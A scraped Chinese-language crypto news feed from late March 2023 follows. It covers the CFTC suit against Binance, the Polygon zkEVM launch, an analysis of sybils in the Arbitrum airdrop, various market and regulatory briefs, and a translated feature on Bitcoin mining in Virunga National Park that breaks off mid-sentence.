polynya：总结：货币和 DeFi 是加密货币的杀手级应用，占整个潜在市场的 90% 以上，我们拥有当今可扩展性所需的所有解决方案，因此，重点必须转移到应用程序、用户体验和新用户上。对于其他方面，当然还有实验的空间，但我们必须仔细考虑「全球共识」的必要性，因为绝大多数所谓的「Web3 应用程序」在混合模型（只需上链部分数据）中最有效。【原文为英文】 内容来源  ( 15 min )
    Arbitrum 空投防女巫攻击规则分析：还能做得更好吗？
    Chainfeeds 导读： Arbitrum 空投虽已尘埃落定，但值得验证总结。TrustaLabs 追踪分析了 Arbitrum 空投后三天内的代币领取、归集和售卖行为，发现一些可疑女巫地址，并提出了防女巫事前分析方案的优化可能性。 文章来源： https://medium.com/@trustalabs.ai/arbitrum%E7%A9%BA%E6%8A%95-%E8%BF%98%E8%83%BD%E5%81%9A%E7%9A%84%E6%9B%B4%E5%A5%BD%E5%90%97-9dc0319ca2f9 文章作者： TrustaLabs 观点： TrustaLabs：Arbitrum 空投亮点：1. 针对 Arbitrum DAO 组织，以及在其之上建立的活 跃 DApps，空投了可观的代币以激励其社区；2. 综合了用户较为全面的链上行为，针对性地从时间、交易笔数、交易金额等维度设计空投评分；3. 定义了不被鼓励的链上行为，通过减分规则设计规避大量机器和女巫行为；4. 基于社区发现算法 Louvain，发现并且剔除了在资金网络中的中大型女巫团伙。 内容来源 TrustaLabs：Trusta Labs 分析追踪了空投后三天内的用户转账行为，包括领取空投、代币归集、代币获利，发现了 96755 个领取 ARB 的女巫，总获利 ARB 达到惊人的 164153951 个。针对这 96755 个漏过的女巫，TrustScan 基于链上数据构建的 AI 模型可以有效地识别其中 24496 个女巫地址，补充识别比例为 25.3%。 内容来源 TrustaLabs：TrustScan 在空投前，能提供的系统性、前摄性武器包括：星状网络女巫攻击（资金网络的深度挖掘）；链式网络女巫攻击（资金网络的深度挖掘）；批量操作攻击（单个行为分析）；相似行为序列攻击（行为序列分析）。 内容来源  ( 3 min )
    比特小鹿将在纳斯达克上市，估值约 11.8 亿美元
    比特小鹿将在纳斯达克上市，估值约 11.8 亿美元 美国证券交易委员会（SEC）宣布吴忌寒旗下比特小鹿（Bitdeer）的 F-4 注册声明生效，该注册与 Bitdeer 和 Blue Safari 的拟议业务合并有关。Blue Safari 将于 4 月 11 日举行临时股东大会以批准业务合并等事项，合并后的公司 BTG 将成为纳斯达克上市公司，估值约 11.8 亿美元，股票代码为「BTDR」。 内容来源  ( 11 min )
    Polygon zkEVM 主网 Beta 版本已正式上线
    Polygon zkEVM 主网 Beta 版本已正式上线 Polygon zkEVM 主网 Beta 版本已正式上线，以太坊联合创始人 Vitalik Buterin 进行了象征性的第一笔交易。Polygon 表示，主网 Beta 版本包括了无需许可、EVM 等效、开源等特点。在主网 Beta 的第一阶段，将设置专门的安全委员会来快速升级 Polygon zkEVM。在第二阶段，Polygon 将采取一系列措施，以确保在出现任何问题时用户能够得到保护，但权利更加分散，并且没有具有特殊访问权限的安全理事会。为了使网络具有抗审查性，用户最终将能够在交易失败的情况下，将交易强制到以太坊 L1。这一机制将在推出后短暂启用。 内容来源 观点： steph.polygon：以太坊联合创始人 Vitalik Buterin 已在 Polygon zkEVM 主网上完成了其第一笔交易，交易哈希：0x18db0b46e46777b5b369460be229b0704abe7d24bf88dbfee99054c43b0c121c，交易额为 0.005 ETH，交易费 0.0003367104ETH，gas 费用 0.0000000152ETH。 内容来源  ( 11 min )
    美国 CFTC 起诉币安和赵长鹏涉嫌违反交易和衍生品规则
    美国 CFTC 起诉币安和赵长鹏涉嫌违反交易和衍生品规则 据彭博社报道，美国商品期货交易委员会（CFTC）于当地时间周一在芝加哥联邦法院提起诉讼，指控赵长鹏及其公司币安违反了交易和衍生品法律，币安前首席合规官 Samuel Lim 在起诉书中也被列为被告。CFTC 称，自 2019 年 7 月以来，币安一直在为美国人执行商品衍生品交易，但该公司既没有要求其客户提供身份验证信息，也没有制定合规程序。 内容来源 观点： CZ（CEO @Binance）：4（无视 FUD、假新闻、攻击等。）【原文为英文】 内容来源 CZ（CEO @Binance）：尽管我们与 CFTC 合作了两年多，但其提出的民事投诉令人意想不到且失望。经初步审查，该投诉似乎包含了对事实的不完整叙述，且我们不同意对投诉中指控的许多问题的定性。【原文为英文】 内容来源 Blockbytes：CFTC 明确指出 BTC、ETH 和 LTC 都是商品。在监管机构层面发生了有趣的「战斗」。【原文为英文】 内容来源 Jason Choi：正确的问题是，CFTC 要对币安进行多大的罚款才能影响到其作为一个企业的完整性。作为参考，CFTC 和 FinCEN 对 Arthur 团队（BitMEX）的罚款是 3000 万美元。【原文为英文】 内容来源 wolf：CFTC 起诉币安拥有一个 300 个账户「秘密」内部交易台。这说明币安基本上是在与他们所有的用户进行交易，他们的「量化」交易台使用私人交易数据。【原文为英文】 内容来源 FatMan：我对币安有秘密的内部交易账户和访问专有的客户数据感到震惊。逃避监管是一回事，对自己的客户进行反向交易是另一回事。这是一种背叛。【原文为英文】 内容来源 Ash WSB：所有加密货币交易所都被起诉了：Kraken、coinbase、币安等。同时，富达和纳斯达克公司正在加密货币交易的道路上。聪明的人正在进入，华尔街想从加密货币中分一杯羹。【原文为英文】 内容来源 Rui：SEC 对 Crypto 的持续打压或许是项目逃离美国的契机，不敢说东升西落，但接下来行情美国项目大多不敢做太过违规的事情。 内容来源  ( 2 min )

  • Open

    MakerDAO启动的Maker章程获得投票通过
    PANews 3月28日消息，在已结束的Maker章程投票中，76%的人投票赞成批准由Maker首席执行官兼联合创始人Rune Christensen撰写的“Maker章程”。Maker章程是一组提案，相关规则用于锁定MakerDAO运营范围。Maker章程有11条条款和12个范围框架，旨在规范MakerDAO操作流程。它提供了关于总体稳定性、去中心化和风险、前端治理、选民委员会和授权等各种平台相关功能的指导。这些框架将把MakerDAO的操作集中在实现Endgame目标上，使MakerDAO能够在短期内扩大其货币市场投资并增加协议收入。  ( 4 min )
    Coinbase将Flare (FLR)列入上币路线图
    PANews 3月28日消息，Coinbase Assets发推表示，已将Flare (FLR)列入上币路线图。  ( 4 min )
    赵长鹏：币安使用多种手段阻止美国客户，本人从未参与币安Launchpad和期货交易
    PANews 3月28日消息，币安CEO赵长鹏在官方网站对CFTC的民事诉讼作出回应。他表示，币安开发了一流的技术，以确保合规。币安通过国籍、IP地址、移动运营商、设备指纹、银行存取款、区块链存取款和信用卡银行标识代码等多种手段阻止美国客户。币安致力于与美国和全球的监管机构及执法机构保持合作。币安目前有超过750人的合规团队，许多人都有执法和监管机构的背景。迄今为止，币安已经处理了55000多个执法机构请求，并协助美国执法机构在2023年冻结/扣押了1.6亿美元资金。币安目前在全球拥有16个牌照/注册，数量为交易所中最多，并且还在不断增加。币安在任何情况下都不会“操纵”市场。币安的收入为加密货币形式，需要不时地将它们转换成法币或其他加密货币来支付费用。币安有子公司为流动性较差的交易对提供流动性，这些子公司受到特别监控，不允许它们获得巨额利润。 此外，赵长鹏表示，就他个人而言，在币安有两个账户，一个用于Binance Card，一个用于持有加密资产。他将加密货币存储在币安网站上，同时需要不时地转换加密货币来支付其个人费用。币安对员工有一个“90天禁止交易”的规定，即在购买加密货币90天内禁止出售，反之亦然。此外，币安禁止员工进行期货交易。赵长鹏表示他本人也严格遵守这些政策，从未参与币安Launchpad、Earn、保证金或期货交易。  ( 4 min )
    Coinbase呼吁创建抗通胀稳定币
    PANews 3月28日消息，Coinbase在一篇博客文章中表示，鼓励开发人员创建跟踪通货膨胀率的稳定币，使用户能够保持购买力，同时还能抵御传统金融体系造成的经济不确定性。Coinbase还表示，欢迎其他形式的抗通胀稳定币。它们不与法币挂钩，但填补了与法币挂钩稳定币和波动加密资产之间的空白。Coinbase补充称，鉴于全球银行体系近期面临的挑战，探索稳定币比以往任何时候都更重要。  ( 4 min )
    英国财政部取消由政府支持的NFT计划
    PANews 3月28日消息，据BBC报道，英国财政部宣布已取消由政府支持的NFT计划。该计划最初由英国首相苏纳克在2022年4月担任财政大臣时提出，当时皇家铸币局被要求在2022年夏天之前发行NFT，但该计划随后被推迟。在周一的一份声明中，英国城市大臣Andrew Griffith表示，在与英国财政部协商后，皇家铸币局目前不会推进发行NFT，但财政部将继续审查这一提议。英国财政部特别委员会主席Harriet Baldwin表示，加密行业的不确定性是推迟NFT计划的一个因素，目前还没有很多证据表明应该把资金投入这些投机代币。  ( 4 min )
    Arbitrum推特账户因错误标记而被暂停，现已恢复使用
    PANews 3月28日消息，据CoinDesk报道，Arbitrum的推特账户周一被暂停，但在几小时后恢复使用。Arbitrum基金会表示，推特对此解释称，“他们有系统可以批量发现并删除多个自动垃圾邮件账户，而Arbitrum的账户被错误地标记为垃圾账户”。  ( 4 min )
    美国银行监管机构正调查几家破产银行高管
    PANews 3月28日消息，据CoinDesk报道，美国联邦存款保险公司(FDIC)主席Martin Gruenberg表示，FDIC正在调查Signature Bank和硅谷银行高管的行为，以追究他们对银行倒闭负有的责任。他在为周二出席美国参议院听证会准备的证词中详细介绍了Signature Bank的管理不善和高风险业务集中，尤其是关于数字资产方面。Gruenberg在提交给美国参议院银行委员会的书面声明中表示，两家公司的高管将面临针对“他们给银行造成的损失以及他们在银行管理方面不当行为”的审查。该声明还详细介绍了Silvergate Bank的崩溃。与此同时，美联储负责监管的副主席Michael Barr也透露了硅谷银行内部存在类似问题。参议院银行委员会的听证会将于周二举行，随后众议院金融服务委员会的听证会将于周三举行。  ( 4 min )
    美国CFTC将寻求在币安案件中对其实施永久性的交易和注册禁令
    PANews 3月27日消息，美国商品期货交易委员会（CFTC）指控币安向美国交易员提供未经注册的期货和期权合约。美国商品期货交易委员会（CFTC）将寻求在币安案件中对其实施永久性的交易和注册禁令。  ( 4 min )
    CZ回应遭起诉：忽略FUD
    PANews 3月27日消息，币安创始人CZ回应“Binance及其CEO因违反监管规定被美CFTC起诉”事件时，引用其年初发布的“2023专注目标及建议”的第四条款作出回应，“Ignore FUD, fake news, attacks, etc.”，即忽略 FUD消息、假新闻、恶意攻击等。  ( 4 min )
    币安CEO因违反监管规定被美国CFTC起诉
    PANews 3月27日消息，据彭博社报道，交易平台币安CEO赵长鹏因违反监管规定被美国商品期货交易委员会（CFTC）在芝加哥联邦法院提起诉讼。CFTC表示，币安没有正确注册，从而逃避了义务。 至少从 2021 年开始，CFTC 就一直在调查 Binance 是否未能阻止美国居民买卖加密货币衍生品。CFTC 规则通常要求平台在允许美国人交易这些产品时向该机构注册。  ( 4 min )
    Polygon zkEVM主网Beta版将于今晚正式上线
    PANews 3月27日消息，Polygon zkEVM主网Beta版今晚将正式上线，以太坊创始人 Vitalik Buterin 将在美国东部时间上午 10:30（北京时间22:30）执行第一笔象征性交易。  ( 4 min )
    DYDX将于3月28日启动基于Cosmos的私有测试网
    PANews 3月27日消息，DYDX 将于 3 月 28 日开始启动其基于 Cosmos 区块链的私有测试网，并将首次对部分外部方开放。在第二阶段，交易所为自己的开发人员运行了一个内部测试网，以检查其所有基本功能。第三阶段将看到一个私人测试网，该测试网将向列入白名单的第三方开放，他们将充当网络上的验证者。展望最后两个阶段，目标是在 7 月推出其公共测试网，预计主网将在 2023 年 9 月底可用。 DYDX 还在构建一个 iOS 应用程序、一个 Android 应用程序和一个网站。  ( 4 min )
    PA日报｜Microstrategy再次购买6455个比特币；中行香港分行考虑向在港加密公司提供服务
    今日要闻提示： 美国议员Tom Emmer已向国会重新提出《区块链监管确定性法案》 币安将于29日再次开放AI NFT生成器Bicasso 上海黄浦：对元宇宙、区块链、AI等重点领域技术攻关项目给予资金支持 Microstrategy再次购买6455个比特币 彭博社：交通银行、中国银行、浦发银行的香港分行或考虑向在港加密公司提供服务 推特称部分源代码遭泄露，已展开调查 数据：美国政府扣押的比特币价值达56亿美元，约占流通供应量的1.06% CoinShares：上周数字资产投资产品净流入1.6亿美元，为2022年7月以来的最大流入量 监管消息 美国议员Tom Emmer已向国会重新提出《区块链监管确定性法案》 美国众议院多数党议员Tom Emmer周四宣布，他已经向国会重新提出了《区块链监管确定性法案》，该法案确保加密领域的开发商和非托管服务提供商不被视为汇款人，并且不受与托管加密货币交易所相同级别的监管。这项两党法案由众议员Darren Soto共同领导。Emmer在2018年首次提出了类似的法案。 Emmer表示：“从本质上讲，加密货币和区块链技术并不容易融入政策制定者过去在制定法规时考虑的框架。长期以来，联邦监管机构和立法者将区块链生态系统塞进了毫无意义的法定定义中。我们延迟提供这种常识性澄清的时间越长，这种变革性技术被推向海外、剥夺国内用户和投资者的风险就越大。该法案将帮助美国在加密货币领域保持技术领先地位。” 据悉，该提案最初于2021年8月17日在国会上提出，但并未进一步推进。该法案旨在制定指导方针，为“区块链开发者和服务提供商”消除某些障碍和要求。 韩国检方再次寻求逮捕Terra联创Daniel Shin 据彭博社报道，韩国首尔检察官办公室周一证实，他们正再次寻求逮捕Terra联创Daniel Shin，但没有提供更多细节。Shin的律师没有立即回应置评请求。Shin的律师此前表示，Shin于2020年从Terraform Labs分离出来，此后一直没有参与其运营。 此前去年12月消息，韩国法院驳回对Terra联创Daniel Shin逮捕令。首尔检察官去年表示，Shin面临欺诈、失职、违反资本市场法和非法集资等指控。Do Kwon近日在黑山被捕，韩美双方均寻求将其引渡。 NFT 1inch社区拒绝由Solidity.io为其创建NFT聚合市场，但通过另一项类似提案 Snapshot投票页面显示，1inch社区以68.78%的投票反对率拒绝了由Solidity.io为该社区创建NFT市场的提案，有社区成员表示，该提案的格式、计划安排、执行均有问题，比如该提案没有在提案题目开头前添加“1IP-#”，且该计划的实施需与1inch基金会达成合作，但该提案的表述误导了社区等，双方并未达成合作。 此外，社区的另一项提案1IP-21以71.44%的支持率获得通过，该提案同样提议为社区创建一个NFT聚合市场，开发服务将外包给Blockchain App Factory (BAF)， BAF将与1inch架构和BE团队保持一致，领导拟议NFT市场的开发执行。该提案的申请的预算约为38.7万美元。 奢侈品巨头Gucci与Yuga Labs达成合作，或将于本周参与Otherside 据Businessoffashion报道，奢侈品巨头Gucci宣布与Yuga Labs达成合作货币关系，本次合作旨在“探索元宇宙中时尚与娱乐的交互并扩大两家公司旗下社区之间的互动”。据Gucci公司和品牌战略高级执行副总裁兼Gucci Vault & Metaverse Ventures首席执行官Robert Triefus表示，Gucci将在Otherside和10KTF的持续叙事中发挥作用，去年Gucci与10KTF推出了“Gucci Grail”项目，预计Gucci将于本周参与Yuga Labs旗下元宇宙游戏Otherside。 币安将于29日再次开放AI NFT生成器Bicasso 币安宣布将于 3 月 29 日向所有人免费提供 Bicasso。该平台将开放 12 小时，并以先到先得的方式限制铸造 100,000 个 AI NFT。从 2023 年 3 月 29 日 12:00（UTC）到 2023 年 3 月 30 日 00:00（UTC），拥有币安账户的所有符合条件的用户都可以使用 Binance Bicasso 铸造 NFT。 元宇宙 上海黄浦：对元宇宙、区块链、AI等重点领域技术攻关项目给予资金支持 据同花顺报道，上海市黄浦区科学技术委员会和黄浦区财政局发布《黄浦区关于加快推进数字产业发展的政策意见》，意见指出，支持数字产业集聚，营造产业创新生态。支持数字技术赋能，拓展数字场景应用。对获得工信部人工智能产业创新任务揭榜挂帅项目、上海市促进产业高质量发展专项资金等（信息化相关领域），按最高不超过1:1予以区级配套，最高不超过200万元。对符合区数字产业发展导向，在人工智能、集成电路设计制造、元宇宙、软件与算法、量子计算、新一代网络、区块链等重点领域自主研发或联合产学研开展关键技术攻关，经评审，对具有先进性、创新性、突破性或颠覆性的项目，按不超过项目投资总额的30%给予一次性支持，最高不超过200万元。 项目动态 Microstrategy再次购买6455个比特币 Microstrategy 以大约 1.5 亿美元的总金额购买了 6,455 个比特币，平均价格为每个比特币 23,238 美元。截至 2023 年 3 月 23 日，MicroStrategy 连同其子公司共持有约 138,955 枚比特币，收购总价约为 41.4 亿美元，平均购买价约为 29,817 美元。 FDIC：第一公民银行已收购硅谷银行，并承担其所有存款和贷款 美国联邦存款保险公司 (FDIC) 在其官网上宣布，联邦存款保险公司（FDIC）与第一公民银行和信托公司（First–Citizens Bank & Trust Company）就Silicon Valley Bridge Bank（硅谷银行过渡银行）所有存款和贷款签订了购买和承担协议。硅谷银行过渡银行的17家前分行将于当地时间3月27日作为第一公民银行和信托公司开业。 截至2023年3月10日，硅谷银行过渡银行总资产约为1670亿美元，总存款约为1190亿美元。今天的交易包括以165亿美元的折扣价购买约720亿美元的硅谷银行过渡银行，这是National Association的资产。约900亿美元的证券和其他资产仍将处于接管状态，等待FDIC处置。此外，FDIC还获得了第一公民银行股份有限公司(First Citizens BancShares, Inc.)的股权增值权，这些普通股的潜在价值高达5亿美元。 FDIC估计，硅谷银行倒闭对其存款保险基金 (DIF) 造成的损失约为200亿美元。确切的成本将在FDIC终止接管时确定。 彭博社：交通银行、中国银行、浦发银行的香港分行或考虑向在港加密公司提供服务 据彭博社报道，知情人士表示，中国交通银行、中国银行、上海浦发银行的香港分行可能已经开始向当地加密货币公司提供银行服务，或正对该领域进行调查。知情人士称，至少有一次，一家中国的银行销售代表前往一家加密货币公司的办公室，推销其服务。 截至发稿，中国银行、交通银行和上海浦东银行未回应置评请求。 XRP回购提案发起人提议创建“XRP银行”，前Ripple高管警告这或是骗局 据u.today报道，XRP回购提案作者Jimmy Valle提议创建一家XRP银行，允许投资者将持有的XRP存入银行然后购买黄金，如果XRP社区所有人都同意1 XRP为1万美元，那么该银行将是价值最高的金融机构之一。 不过此想法遭到Ripple前开发者关系总监Matt Hamilton的批评，甚至称Jimmy Valle的提案可能是骗局，他指出无论是比特币还是XRP，价格都是由市场决定，而且将XRP回购并直接与黄金挂钩并不现实。XRP社区另一位知名成员“Crypto Eri”持有类似的观点，称这不是她想用自己的资产玩的游戏。Ripple现任CTO David Schwartz也持有类似的观点，Schwartz明确地将这种提议称为骗局，他说，如果有人承诺低风险的高回报，他们很可能会敲诈你。 安全公司：Kokomo Finance发生Rug Pull，盗取资金约400万美元 据安全公司CertiK监测，借贷协议Kokomo Finance（KOKO）发生Rug Pull，盗取约400万美元用户资金。目前该项目已删除所有社交媒体账户。 推特称部分源代码遭泄露，已展开调查 据《纽约时报》援引一份法律文件报道，推特的部分源代码在网上遭到泄露。报道称，推特于上周五向发布这些代码的软件开发人员在线协作平台GitHub发出版权侵权通知，要求删除代码。GitHub已对这些代码作删除处理，并补充说不清楚这些代码泄露了多久，可能至少有几个月。推特还要求美国加州北区地方法院命令GitHub确认分享代码及下载代码的人员。该报援引两名了解内部调查情况的人士称，推特对此次泄密事件已展开调查。 Celsius债权人：客户可在4月28日前对债务人提出索赔证明 Celsius官方无担保债权人委员会 (UCC) 发推文称：“在最近的客户索赔裁决中，法官Martin Glenn表示客户可以只针对Celsius Network LLC提出加密货币的合同索赔，但Glenn法官的决定并不妨碍客户对所有债务人提出非合同索赔，如欺诈、疏忽性失实陈述或其他法定或普通法索赔。此外，鉴于这一法院裁决，债务人现在已重新开放截止日期。客户可以在4月28日前对任何债务人提出索赔证明。” LaunchZone的早期合约Bscex SwapX存在漏洞导致近780万美元资金被盗，超3.4万个地址面临风险 据Scam Sniffer监测，LaunchZone的早期合约Bscex SwapX存在漏洞，目前已有7799856美元的资金被盗。在早期批准该合约的用户面临风险。34065个地址处于危险之中，请用户尽快检查并撤销授权。 慢雾创始人余弦对此评论称：“谁能想到2～3年前钱包地址授权的一个项目出漏洞，许多用户一直没取消授权，有黑客就不断监测这些存在授权风险敞口的钱包地址，一旦发现有资金就盗走。” PANews提醒用户，可使用revoke.cash取消近期不使用的合约授权。 律师：美SEC诉Ripple案简易判决或在本周宣布 据Coingape报道，美国SEC和Ripple Labs之间的诉讼案正在等待美国地方法院宣布一项简易判决，而该场诉讼中的“法庭之友”律师John Deaton表示，法官的裁决将在未来几周内公布，而本周可能会宣布一项简易判决。这一声明是在Ripple和被告提交了一份补充授权的书面通知以支持公平通知辩护时发布的。 Deaton律师补充说，在目前的节点上XRP拥有最具吸引力的风险/回报比。如果法院做出了对Ripple有利的裁决，那么很明显，XRP不是一种证券，这将大幅影响其价格。 重要数据 数据：美国政府扣押的比特币价值达56亿美元，约占流通供应量的1.06% 根据目前的统计，截至2023年3月25日，美国政府持有205,515枚比特币，价值56亿美元，约占流通供应量的1.06%。 这些比特币主要来源于从2020年开始的三起没收事件，包括2020年11月没收的与丝绸之路暗网相关的69369枚BTC，2022年从Bitfinex黑客没收的94,643枚BTC，以及去从James Zhong没收的51,326枚BTC。根据Glassnode于2023年3月9日发布的一份报告，其中一些比特币已经转移，总数从 215,338枚BTC减少到205,515枚BTC。 此外，美国政府扣押的比特币数量仅次于灰度（643572枚），但超过了Microstrategy持有的132500枚BTC。 CoinShares：上周数字资产投资产品净流入1.6亿美元，为2022年7月以来的最大流入量 据CoinShares周报数据，上周数字资产投资产品净流入 1.6 亿美元，为 2022 年 7 月以来的最大流入量。在连续 6 周流出 4.08 亿美元后出现明显转机。其中比特币投资产品是主要受益者，流入了 1.28 亿美元，做空比特币的投资产品也有 3100 万美元的资金流入。以太坊上周遭遇 520 万美元的资金外流。大量山寨币出现资金流入，最引人注目的是 Solana、Polygon 和 XRP，分别流入 480 万美元、190 万美元和 120 万美元。  ( 5 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.27）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    币安将于29日再次开放AI NFT生成器Bicasso
    PANews 3月27日消息，币安宣布将于 3 月 29 日向所有人免费提供 Bicasso。该平台将开放 12 小时，并以先到先得的方式限制铸造 100,000 个 AI NFT。从 2023 年 3 月 29 日 12:00（UTC）到 2023 年 3 月 30 日 00:00（UTC），拥有币安账户的所有符合条件的用户都可以使用 Binance Bicasso 铸造 NFT。 相关阅读：币安推出的Bicasso大火背后，还有哪些NFT项目正展开生成式AI叙事  ( 4 min )
    Microstrategy再次购买6455个比特币
    PANews 3月27日消息，Microstrategy 以大约 1.5 亿美元的总金额购买了 6,455 个比特币，平均价格为每个比特币 23,238 美元。截至 2023 年 3 月 23 日，MicroStrategy 连同其子公司共持有约 138,955 枚比特币，收购总价约为 41.4 亿美元，平均购买价约为 29,817 美元。  ( 4 min )
    美国加密行业硝烟四起，监管似乎正酝酿一场“诺曼底登陆”
    财联社3月27日讯（编辑 马兰） 美国加密行业越来越能感受到紧箍咒的存在，不少企业甚至警告称，白宫正在悄悄采取行动，将他们赶出美国。 证据也似乎很充分：美联储和其他监管机构正在警告银行注意加密货币的风险；美国证券交易委员会则威胁将起诉美国最大的加密货币交易所Coinbase；白宫经济报告中质疑加密货币是否存在基本价值…… 与加密行业关系亲近的参议员Bill Hagerty表示，加密行业的担忧非常真实，奥巴马曾经也用这种方式让银行远离枪支经销商，现在同样的模式出现了。 加密行业高管正在努力反击，希望通过游说行动来组织银行的远离和监管的收紧。而这也可能代表着美国加密行业与美国政府之间，全面斗争新战线的开始。 大型研究公司Messari的首席执行官Ryan Selkis正在敦促美国国会审查美国联邦存款保险机构（FDIC）的做法。FDIC认为Silvergate和Signature等银行的倒闭与其加密业务有关，并警告其它银行不要让加密货币的风险转移到金融系统中。 而除了FDIC，美联储和美国监管机构期权清算公司OCC似乎也在成为加密行业的针对者。然而这些机构都对加密行业的指控不予置评。 事实上，当前的时机也确实不利于美国加密行业。 先是美国知名加密交易所FTX被曝内部交易丑闻，再是Silvergate银行和Signature银行倒闭。这些事件让本就对加密圈存疑的政府人士更加坚定怀疑态度，并担心投资者保护问题。 而美国证券交易委员会（SEC）主席Gary Gensler正是质疑人士中最强势的一位，其反复呼吁将加密货币纳入证券法的管辖范围之内。 由于SEC的严厉打击，银行监管机构自然也紧接着通知各家银行谨慎处理加密货币业务。这也导致加密行业在美国金融的生存空间被迅速缩小。 前美国财政部官员、现Clyde Group公共事务高级副总裁John Rizzo就指出，监管机构正在采取行动，基本上相当于禁止了加密货币。如果加密行业无法使用银行系统，它还能存在吗？ 研究公司Messari称，曾与一些银行进行过对话，据银行透露，禁止加密货币是从高层传下来的。 加密货币公司Swan Bitcoin的首席执行官Cory Klippsten作证称，花旗银行去年年底在没有任何解释的情况下，关闭了他们公司和私人的账户。 还有几家银行也缩减了对加密资产的敞口，今年倒闭的Signature银行高管在去年就曾表示，计划将加密货币的相关存款集中度削减至20%以下。还有一些商业银行则计划完全退出加密市场。 但据监管机构来看，这只是它们在履行职责时，银行自我管理的行为。FDIC前官员Todd Phillips称，监管只是在提醒银行注意不断上升和还在潜伏中的风险，这是最基本的银行监管措施。 而这被加密行业认为是一种“迫害”，Phillips显然觉得加密行业是在草木皆兵。 对此，加密公司Swan的Klippsten也有相同的感觉。他指出，银行之所以切断对加密货币存款人的服务原因只在于风险，特别是在去年一系列震撼市场的加密丑闻出现之后。 他还表示，Swan虽然在花旗的撤退中遇到了麻烦，但此后一切都很顺利。他强调只要公司业务稳定，就会有其它银行愿意接受它的存款。  ( 4 min )
    Vauld获得另一项债权人保护延期至4月28日
    PANews 3月27日消息，据The Block报道，亚洲加密货币贷款机构 Vauld 获得另一项债权人保护延期至4月28日。此前 Vauld 的债权人保护曾多次延期。  ( 4 min )
    局势混乱，战火纷飞，比特币如何成为刚果国家公园的“救世主”？
    原文：《Gorillas, militias, and Bitcoin: Why Congo’s most famous national park is betting big on crypto》by Adam Popescu 编译：GaryMa 吴说区块链 在刚果东部，AK-47 步枪这种苏联的老式武器在黑市上只卖 40 美元，民兵们用它来夺取土地、木材、象牙和稀有矿物，这些矿物长期以来一直是这个地区的希望和诅咒。 但这个穿着军装的人不是民兵。他是这个基本上没有法律的地区少有的权威人物：一个通常在维龙加（Virunga）国家公园巡逻的护林员，这个地方以濒危的山地大猩猩而闻名。 但今天，他的工作却有所不同。在公园外的一个小村庄 Luviro，他正在看守世界上第一个由国家公园运营、以清洁能源运行的比特币矿场。这是一场赌博，让许多在公园内和周围工作的人感到兴奋，也招来了专家的怀疑，他们想知道加密货币与保护环境\动物有什么关系。 在 2022 年 3 月底这个闷热的日子里，保安在 10 个装满了数千台矿机的集装箱前踱步。它们在正午的高温中嗡嗡作响。突然，一个闪亮的东西在地平线上闪烁。当一架塞斯纳飞机在附近盘旋时，他调整了一下贝雷帽，匆匆赶到了附近的土质跑道上。 飞机很快降落在一条陡峭而又短得危险的起降跑道上，从跑道上走出来的是 52 岁的飞行员伊曼纽尔·德·梅洛德（Emmanuel de Merode），他是公园的负责人，来这里进行例行检查。德·梅洛德用一只手抓住包的皮带，另一只向游骑兵致敬，游骑兵挺起胸膛，笔直地站在阳光下。他胡子刮得干干净净，头发发灰，是唯一一个没有武器的人。在他身后，塞斯纳飞机的机翼上布满了弹孔，用胶带修补着。 德·梅洛德大步走过一条吠叫的丛林狗，走进其中一个 40 英尺长、镀铬绿色的集装箱。在内部，一组穿着网眼背心的技术人员在电线、笔记本电脑和体味的包围下监视着矿机。 这些机器整天都在钻研复杂的数学问题，并获得价值数千美元的数字货币作为奖励。它们由坐落在同一座山上的大型水电站提供动力，使这些集装箱成为 21 世纪绿色科技的大教堂，周围环绕着更绿色的雨林。 从很多方面来说，这一行动的存在是不可能的。仅仅是身处一个以腐败和日益严重的森林砍伐而闻名的动荡地区，外国投资就像电网和稳定的政府一样稀少，这就带来了一系列问题。24 岁的乔纳斯·巴武莫亚（Jonas Mbavumoja）毕业于附近的戈马大学（University of Goma），是该矿场的员工，他说:“互联网连接、影响生产的气候条件以及孤立工作等问题。”附近还有数十个叛军组织的威胁。这里暴力活动频繁，多年的民兵活动、导弹袭击和砍刀袭击给人们留下了深刻的创伤。 这是非洲最古老的受保护公园的关键时刻。在经历了四年的疾病爆发、疫情封锁和流血事件之后，维龙加迫切需要资金，该地区迫切需要机会。刚果政府只提供了公园运营预算的 1% 左右，让它在很大程度上自力更生。这就是为什么维龙加在加密货币上押重注。 不过，比特币通常与环境保护或社区发展无关。人们通常认为情况恰恰相反。但在这里，这是一个更大计划的一部分，将维龙加令人垂涎的自然资源，从土地到水电，转化为公园和当地人的利益。虽然像这样的开采方式可能是非常规的，但它们是有利可图的，而且是绿色的。 比特币的销售收入已经在帮助支付公园的工资，以及道路和抽水站等基础设施项目。在其他地方，来自公园水力发电厂的电力支持了适度的商业发展。 德·梅洛德说，这就是如何建立一个与公园资源挂钩的可持续经济，尽管矿场本身是一个令人高兴的意外。 他解释说：“我们建造了发电厂，并认为我们将逐步建立网络。然后我们不得不在 2018 年关闭旅游业，因为发生绑架事件。然后在 2019 年，由于埃博拉病毒，我们不得不关闭旅游业。2020 年，剩下的就是新冠病毒的历史了。四年来，我们所有的旅游收入，曾经占公园收入的 40%，都崩溃了。” 他补充说：“这不是我们预料到的，但我们必须想出一个解决方案。否则我们国家公园早就破产了。” 该公园于 2020 年 9 月开始挖矿，当时世界大部分地区都被封锁了，他说：“然后比特币的价格飙升，我们很幸运，但仅此一次。” 在 3 月下旬的这次访问中，刚果矿工用法语与勒主任谈论他们的进展。比特币目前的交易价格约为 4.4 万美元，德梅罗德预计每月的收入约为 15 万美元，接近旅游业巅峰时期的收入水平。 现在迫在眉睫的问题是，他们的运气是否已经用光了。 大约十年前，维龙加因Netflix的一部著名电影而声名鹊起，这部电影展示了该公园与叛乱分子的入侵和石油巨头的威胁作斗争。这些危险又回来了，危及一切。 刚果政府最近宣布计划拍卖公园内及周边地区的石油租赁权。这还处于早期阶段，但如果钻探开始，这将意味着破坏生命和重要的野生动物栖息地。毫不夸张地说，地球的健康将受到威胁：刚果盆地是仅次于亚马逊的世界第二大雨林，也是一个重要的碳汇。 与此同时，一个名为 M23 的民兵组织占领了公园的大猩猩区，并在与刚果军队作战时洗劫了城镇。在过去，M23 避免与维龙加直接对抗，但在过去的几个月里，情况似乎有所改变。 最重要的是，最近 FTX 